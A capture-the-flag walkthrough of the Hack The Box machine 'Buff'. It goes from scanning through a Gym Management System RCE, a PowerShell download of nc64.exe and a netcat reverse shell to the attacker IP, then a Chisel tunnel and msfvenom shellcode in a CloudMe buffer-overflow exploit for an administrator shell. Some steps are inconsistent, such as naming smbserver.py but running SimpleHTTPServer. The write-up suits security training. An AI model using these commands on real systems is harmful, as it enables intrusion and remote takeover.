┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.198
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: mrb3n's Bro Hut
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.198
All 1000 scanned ports on 10.10.10.198 are in ignored states.
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.198
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-open-proxy: Proxy might be redirecting requests
mrb3n's Bro Hut
Made using Gym Management Software 1.0
http://10.10.10.198:8080/index.php
NIKTO:
┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.198:8080/
+ Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
+ /: Retrieved x-powered-by header: PHP/7.4.6.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
^[[B^[[B^[[B+ OpenSSL/1.1.1g appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ PHP/7.4.6 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ Apache/2.4.43 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for 'index' were found: HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var, HTTP_NOT_FOUND.html.var. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /README.md: Readme Found.
+ 9660 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2024-01-14 23:17:54 (GMT-5) (4600 seconds)
I actually went down a rabbit hole chasing through these things, but there’s a ton of pages. Eventually I realized that given the sheer number of pages, and given things like a license page, this is likely not a custom site for HTB, but some software package.
Gym Management System:
When I first solved, I couldn’t find the name of the software displayed on the site (I was blind). There were two ways I could think of to find it without seeing it explicitly, and the third way below is the intended path (which is simply reading, but I’ll include the other two as potentially interesting):
On all the pages, there’s a copyright and/or link to Projectworlds.in. Visiting that page lists tons of projects in PHP (and other languages), some free, others paid. At number 18 is Gym Management System, which fits the name of this box:
Seeing that it’s some kind of framework, I could check for a README.md file at the web root, and it comes back:
Gym Management System
This the my gym management system it is made using PHP,CSS,HTML,Jquery,Twitter Bootstrap. All sql table info can be found in table.sql. more free projects click here - https://projectworlds.in YouTube Demo - https://youtu.be/J_7G_AahgSw
On /contact.php, it clearly says the name of the framework:
Exploit:
A quick search in searchsploit shows there’s an unauthenticated RCE vulnerability in the software:
┌──(kali💀kali)-[~]
└─$ searchsploit gym management
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execut | php/webapps/48506.py
Shell as shaun
POC Shell:
I’ll grab a copy of the exploit using searchploit -m php/webapps/48506.py (and I like to rename it something more descriptive, like gym_management_rce.py). I took a look at the script, and it looks like it bypasses filters to upload a webshell, and then runs an infinite loop getting commands from the user, submitting them to the webshell, parsing the results, and printing them.
It uses print "string" syntax, so it must be legacy Python. Still, the script works pretty well, at least to get a foothold:
nc64.exe:
This shell gets a bit frustrating after a while, so I upgraded to nc64.exe. I started by running smbserver.py in the directory where I keep nc64.exe:
┌──(kali💀kali)-[~/Desktop/6. Web Shells]
└─$ python -m SimpleHTTPServer 5555
C:\xampp\htdocs\gym\upload> powershell -c iex(new-object net.webclient).downloadfile('http://10.10.16.4:5555/nc64.exe', 'C:\xampp\htdocs\gym\upload\nc64.exe')
C:\xampp\htdocs\gym\upload> dir
Volume in drive C has no label.
Volume Serial Number is A22D-49F7
Directory of C:\xampp\htdocs\gym\upload
15/01/2024 04:10 <DIR> .
15/01/2024 04:10 <DIR> ..
15/01/2024 03:38 53 kamehameha.php
15/01/2024 04:10 45,272 nc64.exe
2 File(s) 45,325 bytes
2 Dir(s) 8,256,421,888 bytes free
C:\xampp\htdocs\gym\upload> nc64.exe 10.10.16.4 5555 -e cmd.exe
┌──(kali💀kali)-[~]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.198] 50443
C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun
C:\xampp\htdocs\gym\upload> whoami /priv
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\xampp\htdocs\gym\upload> systeminfo
Host Name: BUFF
OS Name: Microsoft Windows 10 Enterprise
OS Version: 10.0.17134 N/A Build 17134
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: shaun
Registered Organization:
Product ID: 00329-10280-00000-AA218
Original Install Date: 16/06/2020, 14:05:58
System Boot Time: 15/01/2024, 02:06:48
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
[02]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2295 Mhz
BIOS Version: VMware, Inc. VMW71.00V.16707776.B64.2008070230, 07/08/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume2
System Locale: en-us;English (United States)
Input Locale: en-gb;English (United Kingdom)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 4,095 MB
Available Physical Memory: 2,345 MB
Virtual Memory: Max Size: 4,799 MB
Virtual Memory: Available: 2,375 MB
Virtual Memory: In Use: 2,424 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.198
[02]: fe80::41e5:7a92:6887:70f1
[03]: dead:beef::5115:dce9:e2:32e8
[04]: dead:beef::41e5:7a92:6887:70f1
[05]: dead:beef::c5
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Netstat:
Checking the netstat shows two ports listening only on localhost. 3306 is MySQL, which makes sense for the PHP site and XAmpp stack. The other is 8888:
I’ll grab the process ID (2820) and grep (or findstr) for i in the tasklist (the listening process id changes every minute so I’ll have to search quickly):
The version number for the top two (1.11.2) lines up nicely with the EXE name from Buff (CloudMe_1112.exe).
Tunnel:
It also looks like the version number is being listed as well. Turning to ExploitDB to see if I can find any public exploits, I quickly find this one: https://www.exploit-db.com/exploits/48389. This is a Python script, which should be pretty straightforward to execute.
But there is one small hurdle we’ll have to get through first. Because this is exploit is written in Python, and Python is not normally installed on Windows machines, we’ll need to use a tool like Chisel to tunnel from my attacking machine to the target.
So, lets get the exploit cleaned up and ready to execute and then transfer over Chisel to set up a tunnel.
Chisel is my favorite tool for situations like this, because it can be used on both Windows and Linux machines, doesn’t require SSH access, and is incredibly straight forward
First things first I need to copy Chisel over to the Buff machine. To do this I’ll use the same PowerShell one-liner I used to transfer over netcat:
First we have to google chisel binary and download one for linux and one for windows and unzip both of them using the command gunzip and also give both of them executable permission using chmod +x
┌──(kali💀kali)-[~]
└─$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp6 0 0 :::8888 :::* LISTEN 153024/./chisel_1.9
tcp6 0 0 :::8000 :::* LISTEN 153024/./chisel_1.9
Modifying The Exploit
This is a pretty straight forward buffer overflow exploit which will only need light updating. Looking at the code it looks like the shellcode provided opens up calc.exe, but we want something a bit more useful than that. So what we need to do is utilize msfvenom to create some new shell code that contains a reverse shell back to our box. We can do that as follows:
The payload in the script by default looks to be the output of msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python. Given the four-byte addresses and references to ESP and EIP (as opposed to RSP and RIP), this is a 32-bit program.
I changed the payload type (and included LHOST and LPORT needed for this payload), and I used the -v payload to set the output payload variable name so I can just paste it into the script.
With: -a for the architecture -p for the payload -b for the bad-characters (we didn't need to fuzz these ourselves, just use what's in the exploit) -f for the format -v for the variable
After updating the shellcode in the exploit, that should be it for updating the script.
Shell:
Now I just run the exploit through the tunnel with nc waiting (work with either legacy Python or Python3):
┌──(kali💀kali)-[~]
└─$ rlwrap nc -lnvp 2560
listening on [any] 2560 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.198] 50456
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
buff\administrator
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
df96a65b------------------------------
